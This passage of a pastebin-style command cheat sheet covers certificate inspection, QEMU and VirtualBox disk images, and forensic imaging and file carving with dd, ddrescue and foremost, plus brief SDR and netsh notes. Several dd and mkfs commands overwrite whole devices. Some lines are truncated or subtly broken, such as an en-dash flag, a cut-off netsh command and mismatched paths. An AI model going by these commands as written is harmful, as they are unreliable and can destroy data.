  9269.  
  9270.  
  9271.  
  9272. gpg --no-armor -o canary.asc --default-sig-expire 183d --clearsign canary.txt
  9273.  
  9274.  
  9275.  
  9276.  
  9277.  
  9278. openssl s_client -connect "$1:443" 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' | openssl x509 -text | grep "DNS:"| tr ',' '\n' | sed 's/\               //' | sed 's/\s//g' | sed 's/DNS://g'
  9279.  
  9280. subjects=$(echo -n | openssl s_client -connect "$1:443" 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' | openssl x509 -text | grep "DNS:" | tr ',' '\n' | sed 's/\               //' | wc -l)
  9281.          
  9282.  
  9283.  
  9284.  
  9285.  
  9286.  
  9287.  
  9288.  
  9289.  
  9290.  
  9291. echo "----Creating QEMU Image----"
  9292. qemu-img create -f raw "${IMAGE}" 1G
  9293. chmod a+rw "${IMAGE}"
  9294.  
  9295. echo "----Creating Partition Table----"
  9296. echo -e "o\nn\np\n1\n\n\nw" | /sbin/fdisk "${IMAGE}"
  9297.  
  9298. echo "----Mounting QEMU Image----"
  9299. kpartx -a -s -v "${IMAGE}"
  9300. sleep 1
  9301.  
  9302. echo "----Creating Filesystem----"
  9303. mkfs.ext2 "${DEVICE}"
  9304. sync
  9305.  
  9306. echo "----Making QEMU Image Mountpoint----"
  9307. if [ ! -e "${IMAGE_DIR}" ]; then
  9308.     mkdir "${IMAGE_DIR}"
  9309.     chown "${USER}" "${IMAGE_DIR}"
  9310. fi
  9311.  
  9312. echo "----Mounting QEMU Image Partition 1----"
  9313. mount "${DEVICE}" "${IMAGE_DIR}"
  9314.  
  9315.  
  9316.  
  9317.  
  9318. echo "----Unmounting QEMU Image----"
  9319. sync
  9320. umount "${DEVICE}"
  9321. kpartx -d "${IMAGE}"
  9322. losetup -d "${DEVICE}" &>/dev/null
  9323. dmsetup remove $(basename "$DEVICE") &>/dev/null
  9324.  
  9325.  
  9326.  
  9327.  
  9328.  
  9329.  
  9330.  
  9331.  
  9332.  
  9333.  
  9334.  
  9335.  
  9336.  
  9337.  
  9338.  
  9339.  
  9340.  
  9341.  
  9342.  
  9343.  
  9344.  
  9345.  
  9346.  
  9347.  
  9348.  
  9349.  
  9350.  
  9351.  
  9352.  
  9353.  
  9354.  
  9355.  
  9356. qemu-img info $File.vmdk
  9357.  
  9358.  
  9359. VBoxManage clonehd --format VDI $File.vmdk $File.vdi
  9360.  
  9361.  
  9362. guestmount -o allow_other -a "$raw_file_short_link" -m /dev/sda1 --ro "$mount_folder"
  9363.  
  9364.  
  9365. kpartx -a -s -v "$img" 2>&1
  9366.  
  9367.  
  9368.  
  9369.  
  9370. # VirtualBox resize a hard drive image.
  9371. #
  9372. # This does two steps:
  9373. #
  9374. #   1. Clone a VMDK file format disk to a VDI file format disk.
  9375. #   2. Modify the VDI file format disk by using resize.
  9376. #
  9377. # Syntax:
  9378. #
  9379. #     VBoxManage-clone-from-vmdk-to-vdi-then-resize <src> <dst> <megabytes>
  9380. #
  9381. # Example:
  9382. #
  9383. #     VBoxManage-clone-from-vmdk-to-vdi-then-resize My.vmdk My.vdi 10000
  9384. #
  9385. # Contact: Joel Parker Henderson (joel@joelparkerhenderson.com)
  9386. # License: GPL
  9387. # Updated: 2015-01-25
  9388. ##
  9389.  
  9390. src=$1
  9391. dst=$2
  9392. megabytes=$3
  9393.  
  9394. VBoxManage clonehd "$src" "$dst" –format vdi
  9395. VBoxManage modifyhd "$dst" --resize "$megabytes"
  9396.  
  9397.  
  9398.  
  9399.  
  9400.  
  9401. ##-=============================-##
  9402. ##   [+] convert vdi to vmdk
  9403. ##-=============================-##
  9404. ## ------------------------------------------------------------------------- ##
  9405. ##   [?] virtualbox v3.2 hard disk conversion to vmware hard disk format
  9406. ## ------------------------------------------------------------------------- ##
  9407. vboxmanage clonehd --format VMDK $SrcImage|$UUID $DstImage
  9408.  
  9409.  
  9410. ##-========================================-##
  9411. ##   [+] Clone or rescue a block device
  9412. ##-========================================-##
  9413. ddrescue -v /dev/sda /dev/sdb logfile.log
  9414.  
  9415.  
  9416.  
  9417. echo "## ==================================================================== ##"
  9418. echo "## ==========  ========== ##"
  9419. echo "## ==================================================================== ##"
  9420. sudo dd if=/dev/sdb of=/mnt/recovery/$File.dd
  9421.  
  9422.  
  9423. echo "## ==================================================================== ##"
  9424. echo "## ==== dd will abort on error. Avoid this with the noerror option ==== ##"
  9425. echo "## ==================================================================== ##"
  9426. sudo dd conv=noerror if=/dev/sdb of=/mnt/recovery/$File.dd
  9427.  
  9428.  
  9429. echo "## ==================================================================== ##"
  9430. echo "## ============= grab most of the error-free areas ==================== ##"
  9431. echo "## ==================================================================== ##"
  9432. gddrescue -n /dev/sdb /mnt/recovery/$File.raw rescued.log
  9433.  
  9434.  
  9435. echo "## ==================================================================== ##"
  9436. echo "## ====== Once you have your bit-for-bit copy, run fsck on it: ======== ##"
  9437. echo "## ==================================================================== ##"
  9438. fsck /mnt/recovery/$File.dd
  9439.  
  9440.  
  9441. echo "## ==================================================================== ##"
  9442. echo "## ============ mount the image as a loopback device: ================= ##"
  9443. echo "## ==================================================================== ##"
  9444. mount -o loop /mnt/recovery/$File.dd /mnt/hdaimage
  9445.  
  9446.  
  9447. echo "## ==================================================================== ##"
  9448. echo "## ========= Find out where the partitions are with this: ============= ##"
  9449. echo "## ==================================================================== ##"
  9450. fdisk -lu /mnt/recovery/$File.dd
  9451.  
  9452.  
  9453. echo "## =============================================================================== ##"
  9454. echo "## Which will list the start and end cylinders of each partition and the units in  ##"
  9455. echo "## Which they’re measured. If the second partition starts at cylinder 80300 and    ##"
  9456. echo "## The Units are 512 bytes, then that partition starts at 80300 × 512 = 41,113,600 ##"
  9457. echo "##        bytes. In this case, the command you want looks like this:               ##"
  9458. echo "## =============================================================================== ##"
  9459. mount -o loop,offset=41113600 /mnt/recover/$File.raw /mnt/$Dir
  9460.  
  9461. echo "## ==================================================================== ##"
  9462. echo "## ============== Write The Image Back onto Another Disk ============== ##"
  9463. echo "## ==================================================================== ##"
  9464. dd if=/mnt/recovery/$File.raw of=/dev/hdb
  9465.  
  9466.  
  9467. dd if=/dev/hda1 of=/mnt/hdb1/$File.img
  9468.  
  9469.  
  9470.  
  9471. ##-=========================================================-##
  9472. ##   [+] Monitor The Progress of The Image Being Created:
  9473. ##-=========================================================-##
  9474. watch ls -l /mnt/sdb1/$File.img
  9475.  
  9476.  
  9477.  
  9478.  
  9479. The Sleuthkit Command-line tools:
  9480. • ils lists inode information from the image.
  9481. • ffind finds the file or directory name using the inode.
  9482. • icat outputs the file content based on its inode number.
  9483.  
  9484.  
  9485.  
  9486. ##-=========================================================-##
  9487. ##   [+] output to the directory from where you ran it:
  9488. ##-=========================================================-##
  9489. foremost $File.dd
  9490.  
  9491. ##-====================================================-##
  9492. ##   [+] write them to a specified output directory:
  9493. ##-====================================================-##
  9494. foremost -t all -o /rescue/dir -i $File.dd
  9495.  
  9496.  
  9497. ##-=========================================================-##
  9498. ##   [+] Search jpeg format skipping the first 100 blocks
  9499. ##-=========================================================-##
  9500. foremost -s 100 -t jpg -i $File.dd
  9501.  
  9502. ##-===========================================-##
  9503. ##   [+] Only generate an audit file,
  9504. ##   [?] print to the screen (verbose mode)
  9505. ##-===========================================-##
  9506. foremost -av $File.dd
  9507.  
  9508. ##-=================================-##
  9509. ##   [+] Search all defined types:
  9510. ##-=================================-##
  9511. foremost -t all -i $File.dd
  9512.  
  9513. ##-=================================-##
  9514. ##   [+] Search for gif and pdf's:
  9515. foremost -t gif,pdf -i $File.dd
  9516.  
  9517.  
  9518. ##-====================================================-##
  9519. ##   [+] Search for office documents and jpeg files
  9520. in a Unix file system in verbose mode.:
  9521. ##-====================================================-##
  9522. foremost -vd -t ole,jpeg -i $File.dd
  9523.  
  9524. ##-==============================-##
  9525. ##   [+] Run the default case:
  9526. ##-==============================-##
  9527. foremost $File.dd
  9528.  
  9529.  
  9530.  
  9531. ##-=================================-##
  9532. ##   [+]
  9533. ##-=================================-##
  9534. e2image -r /dev/hda1 - | bzip2 > hda1.e2i.bz2
  9535.  
  9536.  
  9537.  
  9538.  
  9539.  
  9540.  
  9541.  
  9542.  
  9543.  
  9544.  
  9545. tune to 392.0 MHz, and set the sample-rate to 1.8 MS/s, use:
  9546.  
  9547. rtl_sdr /tmp/capture.bin -s 1.8e6 -f 392e6
  9548.  
  9549.  
  9550.  
  9551.  
  9552.  
  9553.  
  9554.  
  9555.  
  9556.  
  9557.  
  9558.  
  9559.  
  9560.  
  9561.  
  9562.  
  9563.  
  9564.  
  9565.  
  9566.  
  9567.  
  9568.  
  9569.  
  9570.  
  9571.  
  9572.  
  9573.  
  9574.  
  9575. netsh int ipv6 show interfaces
  9576. powershell -command "get-netadapter"
  9577.  
  9578.  
  9579. netsh interface show interface
  9580.  
  9581.  
  9582.  
  9583. netsh interface ip set dnsserver name="Local Area Connection"
  9584. static 10.10.10.85 primary
  9585.  
  9586.  
  9587. set an IP address, we could just run the command:
  9588. C:\> netsh interface ip set address name="Local Area Connection"
  9589. static 10.10.10.10 255.255.255.0 10.10.10.1 1
  9590.  
  9591.  
  9592. DHCP, we simply run:
  9593. C:\> netsh interface ip set z
  9594.  
  9595.  
  9596.  
  9597.  
  9598.  
  9599.  
  9600.  
  9601. ccccccccccccccccccccccccc
  9602.  
Add Comment
Please, Sign In to add comment